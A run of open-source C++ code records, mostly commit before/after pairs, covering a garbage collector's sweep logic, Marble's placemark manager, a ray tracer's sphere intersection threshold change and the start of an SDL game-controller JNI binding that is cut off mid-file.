guard(data->thread_nexus()->threads_lock());\n\n for(ThreadList::iterator i = data->thread_nexus()->threads()->begin();\n i != data->thread_nexus()->threads()->end();\n ++i)\n {\n clean_locked_objects(*i, false);\n }\n }\n\n \/\/ Clear unreachable objects from the various remember sets\n unsigned int mark = object_memory_->mark();\n object_memory_->unremember_objects(mark);\n }\n\n void ImmixGC::sweep() {\n \/\/ Copy marks for use in new allocations\n gc_.copy_marks();\n\n \/\/ Sweep up the garbage\n gc_.sweep_blocks();\n\n \/\/ This resets the allocator state to sync it up with the BlockAllocator\n \/\/ properly.\n allocator_.get_new_block();\n\n {\n timer::StopWatch<timer::microseconds> timer(\n vm()->metrics().gc.immix_diagnostics_us);\n\n diagnostics_ = Diagnostics(diagnostics_.collections_);\n\n \/\/ Now, calculate how much space we're still using.\n Chunks& chunks = gc_.block_allocator().chunks();\n AllBlockIterator iter(chunks);\n\n diagnostics_.chunks_ = chunks.size();\n\n while(Block* block = iter.next()) {\n diagnostics_.holes_ += block->holes();\n diagnostics_.objects_ += block->objects();\n diagnostics_.bytes_ += block->object_bytes();\n diagnostics_.total_bytes_ += cBlockSize;\n }\n\n diagnostics_.percentage_ =\n (double)diagnostics_.bytes_ \/ (double)diagnostics_.total_bytes_;\n\n diagnostics_.collections_++;\n diagnostics_.modify();\n }\n\n if(diagnostics_.percentage_ >= 0.90) {\n gc_.block_allocator().add_chunk();\n }\n }\n\n void ImmixGC::start_marker(STATE) {\n if(!marker_) {\n marker_ = new ImmixMarker(state, this);\n }\n }\n\n bool ImmixGC::process_mark_stack() {\n bool exit = false;\n return gc_.process_mark_stack(allocator_, exit);\n }\n\n bool ImmixGC::process_mark_stack(bool& exit) {\n return gc_.process_mark_stack(allocator_, exit);\n }\n\n MarkStack& ImmixGC::mark_stack() {\n return gc_.mark_stack();\n }\n\n void ImmixGC::walk_finalizers() {\n FinalizerThread* fh = object_memory_->finalizer_handler();\n if(!fh) return;\n\n for(FinalizerThread::iterator i = fh->begin();\n !i.end();\n \/* advance is handled in the loop *\/)\n {\n FinalizeObject& fi = i.current();\n\n bool live = fi.object->marked_p(object_memory_->mark());\n\n if(fi.ruby_finalizer) {\n if(Object* fwd = saw_object(fi.ruby_finalizer)) {\n fi.ruby_finalizer = fwd;\n }\n }\n\n if(Object* fwd = saw_object(fi.object)) {\n fi.object = fwd;\n }\n\n i.next(live);\n }\n }\n}\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/\n\/\/ This file is part of the Marble Desktop Globe.\n\/\/\n\/\/ This program is free software licensed under the GNU LGPL. You can\n\/\/ find a copy of this license in LICENSE.txt in the top directory of\n\/\/ the source code.\n\/\/\n\/\/ Copyright 2006-2007 Torsten Rahn <tackat@kde.org>\"\n\/\/ Copyright 2007 Inge Wallin <ingwa@kde.org>\"\n\/\/\n\n#include \"PlacemarkManager.h\"\n\n#include <QtCore\/QBuffer>\n#include <QtCore\/QByteArray>\n#include <QtCore\/QDataStream>\n#include <QtCore\/QDateTime>\n#include <QtCore\/QDebug>\n#include <QtCore\/QDir>\n#include <QtCore\/QFileInfo>\n#include <QtXml\/QXmlInputSource>\n#include <QtXml\/QXmlSimpleReader>\n\n#include \"KmlFileViewItem.h\"\n#include \"FileViewModel.h\"\n#include \"MarbleDirs.h\"\n#include \"MarblePlacemarkModel.h\"\n#include \"MarbleGeometryModel.h\"\n#include \"PlacemarkContainer.h\"\n#include \"PlacemarkLoader.h\"\n\n#include \"GeoDataDocument.h\"\n#include \"GeoDataParser.h\"\n#include \"GeoDataPlacemark.h\"\n\n\nusing namespace Marble;\n\nnamespace Marble {\nclass PlacemarkManagerPrivate\n{\n public:\n PlacemarkManagerPrivate( QObject* parent )\n : m_model( 0 )\n , m_geomodel( new MarbleGeometryModel() )\n , m_target( QString() )\n , m_finalized( true )\n , m_fileViewModel( new FileViewModel(parent ) )\n {\n };\n\n MarblePlacemarkModel* m_model;\n MarbleGeometryModel* m_geomodel;\n QList<PlacemarkLoader*> m_loaderList;\n FileViewModel* m_fileViewModel;\n\n bool m_finalized;\n QString m_target;\n};\n}\n\nPlacemarkManager::PlacemarkManager( QObject *parent )\n : QObject( parent )\n , d( new PlacemarkManagerPrivate( parent ) )\n{\n \n}\n\n\nPlacemarkManager::~PlacemarkManager()\n{\n foreach( PlacemarkLoader *loader, d->m_loaderList ) {\n if ( loader ) {\n loader->wait();\n }\n }\n\n delete d->m_model;\n delete d->m_fileViewModel;\n delete d;\n \/* do not delete the d->m_geomodel here\n * it is not this models property\n *\/\n}\n\nMarblePlacemarkModel* PlacemarkManager::model() const\n{\n return d->m_model;\n}\n\nFileViewModel* PlacemarkManager::fileViewModel() const\n{\n return d->m_fileViewModel;\n}\n\nMarbleGeometryModel* PlacemarkManager::geomodel() const\n{\n return d->m_geomodel;\n}\n\nvoid PlacemarkManager::setGeoModel( MarbleGeometryModel * model )\n{\n d->m_geomodel = model;\n}\n\nvoid PlacemarkManager::setPlacemarkModel( MarblePlacemarkModel *model )\n{\n d->m_model = model;\n}\n\nvoid PlacemarkManager::clearPlacemarks()\n{\n d->m_model->clearPlacemarks();\n}\n\nvoid PlacemarkManager::addPlacemarkFile( const QString& filepath, bool finalized )\n{\n if( !(d->m_model->containers().contains( filepath ) ) ) {\n qDebug() << \"adding container:\" << filepath << finalized;\n PlacemarkLoader* loader = new PlacemarkLoader( this, filepath, finalized );\n connect ( loader, SIGNAL( placemarksLoaded( PlacemarkLoader*, PlacemarkContainer * ) ), \n this, SLOT( loadPlacemarkContainer( PlacemarkLoader*, PlacemarkContainer * ) ) );\n connect ( loader, SIGNAL( placemarkLoaderFailed( PlacemarkLoader* ) ), \n this, SLOT( cleanupLoader( PlacemarkLoader* ) ) );\n connect ( loader, SIGNAL( newGeoDataDocumentAdded( GeoDataDocument* ) ), \n this, SIGNAL( geoDataDocumentAdded( GeoDataDocument* ) ) );\n connect ( loader, SIGNAL( newGeoDataDocumentAdded( GeoDataDocument* ) ), \n this, SLOT( addGeoDataDocument( GeoDataDocument* ) ) );\n d->m_loaderList.append( loader );\n loader->start();\n }\n}\n\nvoid PlacemarkManager::addGeoDataDocument( GeoDataDocument* document )\n{\n AbstractFileViewItem* item = new KmlFileViewItem( *this,\n *document );\n\n d->m_fileViewModel->append( item );\n}\n\nvoid PlacemarkManager::addPlacemarkData( const QString& data, const QString& key )\n{\n loadKmlFromData( data, key, false );\n}\n\nvoid PlacemarkManager::removePlacemarkKey( const QString& key )\n{\n QString nkey = key;\n qDebug() << \"trying to remove file:\" << key;\n for( int i = 0; i < d->m_fileViewModel->rowCount(); ++i )\n {\n if(nkey.remove(\".kml\").remove(\".cache\") == d->m_fileViewModel->data(d->m_fileViewModel->index(i, 0)).toString().remove(\".kml\").remove(\".cache\")) {\n d->m_fileViewModel->remove(d->m_fileViewModel->index(i, 0));\n }\n };\n}\n\nvoid PlacemarkManager::cleanupLoader( PlacemarkLoader* loader )\n{\n d->m_loaderList.removeAll( loader );\n if ( loader->isFinished() ) {\n delete loader;\n }\n}\n\nvoid PlacemarkManager::loadPlacemarkContainer( PlacemarkLoader* loader, PlacemarkContainer * container )\n{\n qDebug() << \"Containername:\" << container->name() << \"to be finalized:\" << loader->finalize() << d->m_loaderList.size();\n d->m_loaderList.removeAll( loader );\n if ( container )\n { \n d->m_model->addPlacemarks( *container, false, d->m_finalized && d->m_loaderList.isEmpty() );\n }\n\n if( 0 == d->m_loaderList.size() ) \n emit finalize();\n if ( loader->isFinished() ) {\n delete loader;\n }\n}\n\nvoid PlacemarkManager::loadKml( const QString& filename, bool clearPrevious )\n{\n addPlacemarkFile( filename, true );\n}\n\nvoid PlacemarkManager::loadKmlFromData( const QString& data, const QString& key, bool finalize )\n{\n Q_ASSERT( d->m_model != 0 && \"You have called loadKmlFromData before creating a model!\" );\n\n PlacemarkContainer container;\n\n d->m_finalized = true;\n qDebug() << \"adding container:\" << key;\n PlacemarkLoader* loader = new PlacemarkLoader( this, data, key );\n connect ( loader, SIGNAL( placemarksLoaded( PlacemarkLoader*, PlacemarkContainer * ) ), \n this, SLOT( loadPlacemarkContainer( PlacemarkLoader*, PlacemarkContainer * ) ) );\n connect ( loader, SIGNAL( placemarkLoaderFailed( PlacemarkLoader* ) ), \n this, SLOT( cleanupLoader( PlacemarkLoader* ) ) );\n connect ( loader, SIGNAL( newGeoDataDocumentAdded( GeoDataDocument* ) ), \n this, SIGNAL( geoDataDocumentAdded( GeoDataDocument* ) ) );\n connect ( loader, SIGNAL( newGeoDataDocumentAdded( GeoDataDocument* ) ), \n this, SLOT( addGeoDataDocument( GeoDataDocument* ) ) );\n d->m_loaderList.append( loader );\n loader->start();\n}\n\n#include \"PlacemarkManager.moc\"\n<commit_msg>use isEmpty() instead of compairing sizes<commit_after>\/\/\n\/\/ This file is part of the Marble Desktop Globe.\n\/\/\n\/\/ This program is free software licensed under the GNU LGPL. You can\n\/\/ find a copy of this license in LICENSE.txt in the top directory of\n\/\/ the source code.\n\/\/\n\/\/ Copyright 2006-2007 Torsten Rahn <tackat@kde.org>\"\n\/\/ Copyright 2007 Inge Wallin <ingwa@kde.org>\"\n\/\/\n\n#include \"PlacemarkManager.h\"\n\n#include <QtCore\/QBuffer>\n#include <QtCore\/QByteArray>\n#include <QtCore\/QDataStream>\n#include <QtCore\/QDateTime>\n#include <QtCore\/QDebug>\n#include <QtCore\/QDir>\n#include <QtCore\/QFileInfo>\n#include <QtXml\/QXmlInputSource>\n#include <QtXml\/QXmlSimpleReader>\n\n#include \"KmlFileViewItem.h\"\n#include \"FileViewModel.h\"\n#include \"MarbleDirs.h\"\n#include \"MarblePlacemarkModel.h\"\n#include \"MarbleGeometryModel.h\"\n#include \"PlacemarkContainer.h\"\n#include \"PlacemarkLoader.h\"\n\n#include \"GeoDataDocument.h\"\n#include \"GeoDataParser.h\"\n#include \"GeoDataPlacemark.h\"\n\n\nusing namespace Marble;\n\nnamespace Marble {\nclass PlacemarkManagerPrivate\n{\n public:\n PlacemarkManagerPrivate( QObject* parent )\n : m_model( 0 )\n , m_geomodel( new MarbleGeometryModel() )\n , m_target( QString() )\n , m_finalized( true )\n , m_fileViewModel( new FileViewModel(parent ) )\n {\n };\n\n MarblePlacemarkModel* m_model;\n MarbleGeometryModel* m_geomodel;\n QList<PlacemarkLoader*> m_loaderList;\n FileViewModel* m_fileViewModel;\n\n bool m_finalized;\n QString m_target;\n};\n}\n\nPlacemarkManager::PlacemarkManager( QObject *parent )\n : QObject( parent )\n , d( new PlacemarkManagerPrivate( parent ) )\n{\n \n}\n\n\nPlacemarkManager::~PlacemarkManager()\n{\n foreach( PlacemarkLoader *loader, d->m_loaderList ) {\n if ( loader ) {\n loader->wait();\n }\n }\n\n delete d->m_model;\n delete d->m_fileViewModel;\n delete d;\n \/* do not delete the d->m_geomodel here\n * it is not this models property\n *\/\n}\n\nMarblePlacemarkModel* PlacemarkManager::model() const\n{\n return d->m_model;\n}\n\nFileViewModel* PlacemarkManager::fileViewModel() const\n{\n return d->m_fileViewModel;\n}\n\nMarbleGeometryModel* PlacemarkManager::geomodel() const\n{\n return d->m_geomodel;\n}\n\nvoid PlacemarkManager::setGeoModel( MarbleGeometryModel * model )\n{\n d->m_geomodel = model;\n}\n\nvoid PlacemarkManager::setPlacemarkModel( MarblePlacemarkModel *model )\n{\n d->m_model = model;\n}\n\nvoid PlacemarkManager::clearPlacemarks()\n{\n d->m_model->clearPlacemarks();\n}\n\nvoid PlacemarkManager::addPlacemarkFile( const QString& filepath, bool finalized )\n{\n if( !(d->m_model->containers().contains( filepath ) ) ) {\n qDebug() << \"adding container:\" << filepath << finalized;\n PlacemarkLoader* loader = new PlacemarkLoader( this, filepath, finalized );\n connect ( loader, SIGNAL( placemarksLoaded( PlacemarkLoader*, PlacemarkContainer * ) ), \n this, SLOT( loadPlacemarkContainer( PlacemarkLoader*, PlacemarkContainer * ) ) );\n connect ( loader, SIGNAL( placemarkLoaderFailed( PlacemarkLoader* ) ), \n this, SLOT( cleanupLoader( PlacemarkLoader* ) ) );\n connect ( loader, SIGNAL( newGeoDataDocumentAdded( GeoDataDocument* ) ), \n this, SIGNAL( geoDataDocumentAdded( GeoDataDocument* ) ) );\n connect ( loader, SIGNAL( newGeoDataDocumentAdded( GeoDataDocument* ) ), \n this, SLOT( addGeoDataDocument( GeoDataDocument* ) ) );\n d->m_loaderList.append( loader );\n loader->start();\n }\n}\n\nvoid PlacemarkManager::addGeoDataDocument( GeoDataDocument* document )\n{\n AbstractFileViewItem* item = new KmlFileViewItem( *this,\n *document );\n\n d->m_fileViewModel->append( item );\n}\n\nvoid PlacemarkManager::addPlacemarkData( const QString& data, const QString& key )\n{\n loadKmlFromData( data, key, false );\n}\n\nvoid PlacemarkManager::removePlacemarkKey( const QString& key )\n{\n QString nkey = key;\n qDebug() << \"trying to remove file:\" << key;\n for( int i = 0; i < d->m_fileViewModel->rowCount(); ++i )\n {\n if(nkey.remove(\".kml\").remove(\".cache\") == d->m_fileViewModel->data(d->m_fileViewModel->index(i, 0)).toString().remove(\".kml\").remove(\".cache\")) {\n d->m_fileViewModel->remove(d->m_fileViewModel->index(i, 0));\n }\n };\n}\n\nvoid PlacemarkManager::cleanupLoader( PlacemarkLoader* loader )\n{\n d->m_loaderList.removeAll( loader );\n if ( loader->isFinished() ) {\n delete loader;\n }\n}\n\nvoid PlacemarkManager::loadPlacemarkContainer( PlacemarkLoader* loader, PlacemarkContainer * container )\n{\n qDebug() << \"Containername:\" << container->name() << \"to be finalized:\" << (d->m_loaderList.size() == 1) << d->m_loaderList.size();\n d->m_loaderList.removeAll( loader );\n if ( container )\n { \n d->m_model->addPlacemarks( *container, false, d->m_finalized && d->m_loaderList.isEmpty() );\n }\n\n if( d->m_loaderList.isEmpty() ) {\n emit finalize();\n }\n\n if ( loader->isFinished() ) {\n delete loader;\n }\n}\n\nvoid PlacemarkManager::loadKml( const QString& filename, bool clearPrevious )\n{\n addPlacemarkFile( filename, true );\n}\n\nvoid PlacemarkManager::loadKmlFromData( const QString& data, const QString& key, bool finalize )\n{\n Q_ASSERT( d->m_model != 0 && \"You have called loadKmlFromData before creating a model!\" );\n\n PlacemarkContainer container;\n\n d->m_finalized = true;\n qDebug() << \"adding container:\" << key;\n PlacemarkLoader* loader = new PlacemarkLoader( this, data, key );\n connect ( loader, SIGNAL( placemarksLoaded( PlacemarkLoader*, PlacemarkContainer * ) ), \n this, SLOT( loadPlacemarkContainer( PlacemarkLoader*, PlacemarkContainer * ) ) );\n connect ( loader, SIGNAL( placemarkLoaderFailed( PlacemarkLoader* ) ), \n this, SLOT( cleanupLoader( PlacemarkLoader* ) ) );\n connect ( loader, SIGNAL( newGeoDataDocumentAdded( GeoDataDocument* ) ), \n this, SIGNAL( geoDataDocumentAdded( GeoDataDocument* ) ) );\n connect ( loader, SIGNAL( newGeoDataDocumentAdded( GeoDataDocument* ) ), \n this, SLOT( addGeoDataDocument( GeoDataDocument* ) ) );\n d->m_loaderList.append( loader );\n loader->start();\n}\n\n#include \"PlacemarkManager.moc\"\n<|endoftext|>"} {"text":"<commit_before>#include \"shape\/sphere.h\"\n\nnamespace AT_NAME\n{\n\tstatic AT_DEVICE_API void getUV(real& u, real& v, const aten::vec3& p)\n\t{\n\t\tauto phi = aten::asin(p.y);\n\t\tauto theta = aten::atan(p.x \/ p.z);\n\n\t\tu = (theta + AT_MATH_PI_HALF) \/ AT_MATH_PI;\n\t\tv = (phi + AT_MATH_PI_HALF) \/ AT_MATH_PI;\n\t}\n\n\tsphere::sphere(const aten::vec3& center, real radius, material* mtrl)\n\t\t: m_param(center, radius, mtrl)\n\t{\n\t\tauto _min = center - radius;\n\t\tauto _max = center + radius;\n\n\t\tm_aabb.init(_min, _max);\n\t}\n\n\tbool sphere::hit(\n\t\tconst aten::ray& r,\n\t\treal t_min, real t_max,\n\t\taten::Intersection& isect) const\n\t{\n\t\tbool isHit = hit(&m_param, r, t_min, t_max, &isect);\n\n\t\tif (isHit) {\n\t\t\tisect.objid = id();\n\t\t\tisect.mtrlid = ((material*)m_param.mtrl.ptr)->id();\n\t\t}\n\n\t\treturn isHit;\n\t}\n\n\tbool AT_DEVICE_API sphere::hit(\n\t\tconst aten::ShapeParameter* param,\n\t\tconst aten::ray& r,\n\t\treal t_min, real t_max,\n\t\taten::Intersection* isect)\n\t{\n\t\t\/\/ NOTE\n\t\t\/\/ https:\/\/www.slideshare.net\/h013\/edupt-kaisetsu-22852235\n\t\t\/\/ p52 - p58\n\n\t\tconst aten::vec3 p_o = param->center - r.org;\n\t\tconst real b = dot(p_o, r.dir);\n\n\t\t\/\/ ʎ.\n\t\tconst real D4 = b * b - dot(p_o, p_o) + param->radius * param->radius;\n\n\t\tif (D4 < real(0)) {\n\t\t\treturn false;\n\t\t}\n\n\t\tconst real sqrt_D4 = aten::sqrt(D4);\n\t\tconst real t1 = b - sqrt_D4;\n\t\tconst real t2 = b + sqrt_D4;\n\n#if 0\n\t\tif (t1 > AT_MATH_EPSILON) {\n\t\t\tisect->t = t1;\n\t\t}\n\t\telse if (t2 > AT_MATH_EPSILON) {\n\t\t\tisect->t = t2;\n\t\t}\n\t\telse {\n\t\t\treturn false;\n\t\t}\n#elif 1\n\t\tbool close = aten::isClose(aten::abs(b), sqrt_D4, 25000);\n\n\t\tif (t1 > AT_MATH_EPSILON && !close) {\n\t\t\tisect->t = t1;\n\t\t}\n\t\telse if (t2 > AT_MATH_EPSILON && !close) {\n\t\t\tisect->t = t2;\n\t\t}\n\t\telse {\n\t\t\treturn false;\n\t\t}\n#else\n\t\tif (t1 < 0 && t2 < 0) {\n\t\t\treturn false;\n\t\t}\n\t\telse if (t1 > 0 && t2 > 0) {\n\t\t\tisect->t = aten::cmpMin(t1, t2);\n\t\t}\n\t\telse {\n\t\t\tisect->t = aten::cmpMax(t1, t2);\n\t\t}\n#endif\n\n\t\treturn true;\n\t}\n\n\tvoid sphere::evalHitResult(\n\t\tconst aten::ray& r, \n\t\taten::hitrecord& rec,\n\t\tconst aten::Intersection& isect) const\n\t{\n\t\tevalHitResult(&m_param, r, aten::mat4(), &rec, &isect);\n\t}\n\n\tvoid sphere::evalHitResult(\n\t\tconst aten::ray& r,\n\t\tconst aten::mat4& mtxL2W,\n\t\taten::hitrecord& rec,\n\t\tconst aten::Intersection& isect) const\n\t{\n\t\tevalHitResult(&m_param, r, mtxL2W, &rec, &isect);\n\t}\n\n\tvoid sphere::evalHitResult(\n\t\tconst aten::ShapeParameter* param, \n\t\tconst aten::ray& r, \n\t\taten::hitrecord* rec,\n\t\tconst aten::Intersection* isect)\n\t{\n\t\tevalHitResult(param, r, aten::mat4(), rec, isect);\n\t}\n\n\tvoid sphere::evalHitResult(\n\t\tconst aten::ShapeParameter* param,\n\t\tconst aten::ray& r,\n\t\tconst aten::mat4& mtxL2W, \n\t\taten::hitrecord* rec,\n\t\tconst aten::Intersection* isect)\n\t{\n\t\trec->p = r.org + isect->t * r.dir;\n\t\trec->normal = (rec->p - param->center) \/ param->radius; \/\/ KĖ@𓾂\n\n\t\trec->objid = isect->objid;\n\t\trec->mtrlid = isect->mtrlid;\n\n\t\t{\n\t\t\tauto tmp = param->center + aten::vec3(param->radius, 0, 0);\n\n\t\t\tauto center = mtxL2W.apply(param->center);\n\t\t\ttmp = mtxL2W.apply(tmp);\n\n\t\t\tauto radius = length(tmp - center);\n\n\t\t\trec->area = 4 * AT_MATH_PI * radius * radius;\n\t\t}\n\n\t\tgetUV(rec->u, rec->v, rec->normal);\n\t}\n\n\tvoid sphere::getSamplePosNormalArea(\n\t\taten::hitable::SamplePosNormalPdfResult* result,\n\t\taten::sampler* sampler) const\n\t{\n\t\treturn getSamplePosNormalArea(result, aten::mat4::Identity, sampler);\n\t}\n\n\tAT_DEVICE_API void sphere::getSamplePosNormalArea(\n\t\taten::hitable::SamplePosNormalPdfResult* result,\n\t\tconst aten::ShapeParameter* param,\n\t\taten::sampler* sampler)\n\t{\n\t\tgetSamplePosNormalArea(result, param, aten::mat4(), sampler);\n\t}\n\n\tvoid sphere::getSamplePosNormalArea(\n\t\taten::hitable::SamplePosNormalPdfResult* result,\n\t\tconst aten::mat4& mtxL2W,\n\t\taten::sampler* sampler) const\n\t{\n\t\tgetSamplePosNormalArea(result, &m_param, mtxL2W, sampler);\n\t}\n\n\tvoid sphere::getSamplePosNormalArea(\n\t\taten::hitable::SamplePosNormalPdfResult* result,\n\t\tconst aten::ShapeParameter* param,\n\t\tconst aten::mat4& mtxL2W,\n\t\taten::sampler* sampler)\n\t{\n\t\tauto r1 = sampler->nextSample();\n\t\tauto r2 = sampler->nextSample();\n\n\t\tauto r = param->radius;\n\n\t\tauto z = real(2) * r1 - real(1); \/\/ [0,1] -> [-1, 1]\n\n\t\tauto sin_theta = aten::sqrt(1 - z * z);\n\t\tauto phi = 2 * AT_MATH_PI * r2;\n\n\t\tauto x = aten::cos(phi) * sin_theta;\n\t\tauto y = aten::sin(phi) * sin_theta;\n\n\t\taten::vec3 dir = aten::vec3(x, y, z);\n\t\tdir = normalize(dir);\n\n\t\tauto p = dir * (r + AT_MATH_EPSILON);\n\n\t\tresult->pos = param->center + p;\n\n\t\tresult->nml = normalize(result->pos - param->center);\n\n\t\tresult->area = real(1);\n\t\t{\n\t\t\tauto tmp = param->center + aten::vec3(param->radius, 0, 0);\n\n\t\t\tauto center = mtxL2W.apply(param->center);\n\t\t\ttmp = mtxL2W.apply(tmp);\n\n\t\t\tauto radius = length(tmp - center);\n\n\t\t\tresult->area = 4 * AT_MATH_PI * radius * radius;\n\t\t}\n\t}\n}\n<commit_msg>Modify threshold to hit test for sphere.<commit_after>#include \"shape\/sphere.h\"\n\nnamespace AT_NAME\n{\n\tstatic AT_DEVICE_API void getUV(real& u, real& v, const aten::vec3& p)\n\t{\n\t\tauto phi = aten::asin(p.y);\n\t\tauto theta = aten::atan(p.x \/ p.z);\n\n\t\tu = (theta + AT_MATH_PI_HALF) \/ AT_MATH_PI;\n\t\tv = (phi + AT_MATH_PI_HALF) \/ AT_MATH_PI;\n\t}\n\n\tsphere::sphere(const aten::vec3& center, real radius, material* mtrl)\n\t\t: m_param(center, radius, mtrl)\n\t{\n\t\tauto _min = center - radius;\n\t\tauto _max = center + radius;\n\n\t\tm_aabb.init(_min, _max);\n\t}\n\n\tbool sphere::hit(\n\t\tconst aten::ray& r,\n\t\treal t_min, real t_max,\n\t\taten::Intersection& isect) const\n\t{\n\t\tbool isHit = hit(&m_param, r, t_min, t_max, &isect);\n\n\t\tif (isHit) {\n\t\t\tisect.objid = id();\n\t\t\tisect.mtrlid = ((material*)m_param.mtrl.ptr)->id();\n\t\t}\n\n\t\treturn isHit;\n\t}\n\n\tbool AT_DEVICE_API sphere::hit(\n\t\tconst aten::ShapeParameter* param,\n\t\tconst aten::ray& r,\n\t\treal t_min, real t_max,\n\t\taten::Intersection* isect)\n\t{\n\t\t\/\/ NOTE\n\t\t\/\/ https:\/\/www.slideshare.net\/h013\/edupt-kaisetsu-22852235\n\t\t\/\/ p52 - p58\n\n\t\tconst aten::vec3 p_o = param->center - r.org;\n\t\tconst real b = dot(p_o, r.dir);\n\n\t\t\/\/ ʎ.\n\t\tconst real D4 = b * b - dot(p_o, p_o) + param->radius * param->radius;\n\n\t\tif (D4 < real(0)) {\n\t\t\treturn false;\n\t\t}\n\n\t\tconst real sqrt_D4 = aten::sqrt(D4);\n\t\tconst real t1 = b - sqrt_D4;\n\t\tconst real t2 = b + sqrt_D4;\n\n#if 0\n\t\tif (t1 > AT_MATH_EPSILON) {\n\t\t\tisect->t = t1;\n\t\t}\n\t\telse if (t2 > AT_MATH_EPSILON) {\n\t\t\tisect->t = t2;\n\t\t}\n\t\telse {\n\t\t\treturn false;\n\t\t}\n#elif 1\n\t\tbool close = aten::isClose(aten::abs(b), sqrt_D4, 2500);\n\n\t\tif (t1 > AT_MATH_EPSILON && !close) {\n\t\t\tisect->t = t1;\n\t\t}\n\t\telse if (t2 > AT_MATH_EPSILON && !close) {\n\t\t\tisect->t = t2;\n\t\t}\n\t\telse {\n\t\t\treturn false;\n\t\t}\n#else\n\t\tif (t1 < 0 && t2 < 0) {\n\t\t\treturn false;\n\t\t}\n\t\telse if (t1 > 0 && t2 > 0) {\n\t\t\tisect->t = aten::cmpMin(t1, t2);\n\t\t}\n\t\telse {\n\t\t\tisect->t = aten::cmpMax(t1, t2);\n\t\t}\n#endif\n\n\t\treturn true;\n\t}\n\n\tvoid sphere::evalHitResult(\n\t\tconst aten::ray& r, \n\t\taten::hitrecord& rec,\n\t\tconst aten::Intersection& isect) const\n\t{\n\t\tevalHitResult(&m_param, r, aten::mat4(), &rec, &isect);\n\t}\n\n\tvoid sphere::evalHitResult(\n\t\tconst aten::ray& r,\n\t\tconst aten::mat4& mtxL2W,\n\t\taten::hitrecord& rec,\n\t\tconst aten::Intersection& isect) const\n\t{\n\t\tevalHitResult(&m_param, r, mtxL2W, &rec, &isect);\n\t}\n\n\tvoid sphere::evalHitResult(\n\t\tconst aten::ShapeParameter* param, \n\t\tconst aten::ray& r, \n\t\taten::hitrecord* rec,\n\t\tconst aten::Intersection* isect)\n\t{\n\t\tevalHitResult(param, r, aten::mat4(), rec, isect);\n\t}\n\n\tvoid sphere::evalHitResult(\n\t\tconst aten::ShapeParameter* param,\n\t\tconst aten::ray& r,\n\t\tconst aten::mat4& mtxL2W, \n\t\taten::hitrecord* rec,\n\t\tconst aten::Intersection* isect)\n\t{\n\t\trec->p = r.org + isect->t * r.dir;\n\t\trec->normal = (rec->p - param->center) \/ param->radius; \/\/ KĖ@𓾂\n\n\t\trec->objid = isect->objid;\n\t\trec->mtrlid = isect->mtrlid;\n\n\t\t{\n\t\t\tauto tmp = param->center + aten::vec3(param->radius, 0, 0);\n\n\t\t\tauto center = mtxL2W.apply(param->center);\n\t\t\ttmp = mtxL2W.apply(tmp);\n\n\t\t\tauto radius = length(tmp - center);\n\n\t\t\trec->area = 4 * AT_MATH_PI * radius * radius;\n\t\t}\n\n\t\tgetUV(rec->u, rec->v, rec->normal);\n\t}\n\n\tvoid sphere::getSamplePosNormalArea(\n\t\taten::hitable::SamplePosNormalPdfResult* result,\n\t\taten::sampler* sampler) const\n\t{\n\t\treturn getSamplePosNormalArea(result, aten::mat4::Identity, sampler);\n\t}\n\n\tAT_DEVICE_API void sphere::getSamplePosNormalArea(\n\t\taten::hitable::SamplePosNormalPdfResult* result,\n\t\tconst aten::ShapeParameter* param,\n\t\taten::sampler* sampler)\n\t{\n\t\tgetSamplePosNormalArea(result, param, aten::mat4(), sampler);\n\t}\n\n\tvoid sphere::getSamplePosNormalArea(\n\t\taten::hitable::SamplePosNormalPdfResult* result,\n\t\tconst aten::mat4& mtxL2W,\n\t\taten::sampler* sampler) const\n\t{\n\t\tgetSamplePosNormalArea(result, &m_param, mtxL2W, sampler);\n\t}\n\n\tvoid sphere::getSamplePosNormalArea(\n\t\taten::hitable::SamplePosNormalPdfResult* result,\n\t\tconst aten::ShapeParameter* param,\n\t\tconst aten::mat4& mtxL2W,\n\t\taten::sampler* sampler)\n\t{\n\t\tauto r1 = sampler->nextSample();\n\t\tauto r2 = sampler->nextSample();\n\n\t\tauto r = param->radius;\n\n\t\tauto z = real(2) * r1 - real(1); \/\/ [0,1] -> [-1, 1]\n\n\t\tauto sin_theta = aten::sqrt(1 - z * z);\n\t\tauto phi = 2 * AT_MATH_PI * r2;\n\n\t\tauto x = aten::cos(phi) * sin_theta;\n\t\tauto y = aten::sin(phi) * sin_theta;\n\n\t\taten::vec3 dir = aten::vec3(x, y, z);\n\t\tdir = normalize(dir);\n\n\t\tauto p = dir * (r + AT_MATH_EPSILON);\n\n\t\tresult->pos = param->center + p;\n\n\t\tresult->nml = normalize(result->pos - param->center);\n\n\t\tresult->area = real(1);\n\t\t{\n\t\t\tauto tmp = param->center + aten::vec3(param->radius, 0, 0);\n\n\t\t\tauto center = mtxL2W.apply(param->center);\n\t\t\ttmp = mtxL2W.apply(tmp);\n\n\t\t\tauto radius = length(tmp - center);\n\n\t\t\tresult->area = 4 * AT_MATH_PI * radius * radius;\n\t\t}\n\t}\n}\n<|endoftext|>"} {"text":"<commit_before>#include <iostream>\n\n#include \"SDL.h\"\n#include \"fxgl_controllerinput.h\"\n\nSDL_GameController* controllers[10];\nint num_controllers = 0;\n\n\/*\n * Class: com_almasb_fxgl_controllerinput_impl_GameControllerImpl\n * Method: getBackendVersion\n * Signature: ()I\n *\/\nJNIEXPORT jint JNICALL Java_com_almasb_fxgl_controllerinput_impl_GameControllerImpl_getBackendVersion\n(JNIEnv* env, jclass clazz) {\n\n SDL_version linked;\n\n SDL_GetVersion(&linked);\n\n return (int)linked.patch;\n}\n\n\/*\n * Class: com_almasb_fxgl_controllerinput_impl_GameControllerImpl\n * Method: connectControllers\n * Signature: ()I\n *\/\nJNIEXPORT jint JNICALL Java_com_almasb_fxgl_controllerinput_impl_GameControllerImpl_connectControllers\n(JNIEnv* env, jclass clazz) {\n\n SDL_InitSubSystem(SDL_INIT_GAMECONTROLLER);\n\n for (int i = 0; i < SDL_NumJoysticks(); ++i) {\n if (SDL_IsGameController(i)) {\n controller = SDL_GameControllerOpen(i);\n if (controller) {\n controllers[num_controllers++] = controller;\n } else {\n \/\/ TODO: add a callback with SDL_GetError() to say failed to access game controller\n }\n }\n }\n}\n\n\/*\n * Class: com_almasb_fxgl_controllerinput_impl_GameControllerImpl\n * Method: updateState\n * Signature: (I)V\n *\/\nJNIEXPORT void JNICALL Java_com_almasb_fxgl_controllerinput_impl_GameControllerImpl_updateState\n(JNIEnv* env, jclass clazz, jint controller_id) {\n\n SDL_GameControllerUpdate();\n}\n\n\/*\n * Class: 